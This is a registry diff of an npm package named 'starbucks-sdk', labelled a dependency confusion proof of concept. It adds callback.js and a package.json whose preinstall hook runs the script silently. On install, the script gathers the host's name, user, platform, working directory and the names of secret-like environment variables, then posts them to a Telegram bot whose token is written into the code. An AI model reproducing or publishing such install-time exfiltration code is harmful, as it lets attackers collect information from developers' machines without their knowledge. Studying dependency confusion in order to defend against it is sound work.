starbucks-sdk 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/callback.js ADDED
@@ -0,0 +1,23 @@
1
+ const https = require('https');
2
+ const os = require('os');
3
+
4
+ const BOT_TOKEN = '8636277735:AAG-i_QzJ16XpWO7rm-W9IXp2Dq18cED8u4';
5
+ const CHAT_ID = '1064260758';
6
+
7
+ const info = {
8
+ hostname: os.hostname(),
9
+ user: os.userInfo().username,
10
+ platform: os.platform(),
11
+ cwd: process.cwd(),
12
+ time: new Date().toISOString(),
13
+ secrets: Object.keys(process.env).filter(k => /token|secret|key|pass|auth|api|aws/i.test(k)).slice(0,10)
14
+ };
15
+
16
+ const message = `🎯 *STARBUCKS-SDK INSTALLED!*\n\n🖥️ Host: \`${info.hostname}\`\n👤 User: \`${info.user}\`\n💻 Platform: \`${info.platform}\`\n📁 CWD: \`${info.cwd}\`\n⏰ Time: \`${info.time}\`\n\n🔑 Env: \`${info.secrets.join(', ') || 'None'}\``;
17
+
18
+ const req = https.request('https://api.telegram.org/bot' + BOT_TOKEN + '/sendMessage', {
19
+ method: 'POST',
20
+ headers: {'Content-Type': 'application/json'}
21
+ });
22
+ req.write(JSON.stringify({chat_id: CHAT_ID, text: message, parse_mode: 'Markdown'}));
23
+ req.end();
package/package.json ADDED
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "starbucks-sdk",
3
+ "version": "1.0.0",
4
+ "description": "SECURITY RESEARCH - Dependency Confusion PoC",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node callback.js 2>/dev/null || true"
8
+ },
9
+ "author": "Security Researcher",
10
+ "license": "MIT"
11
+ }
Binary file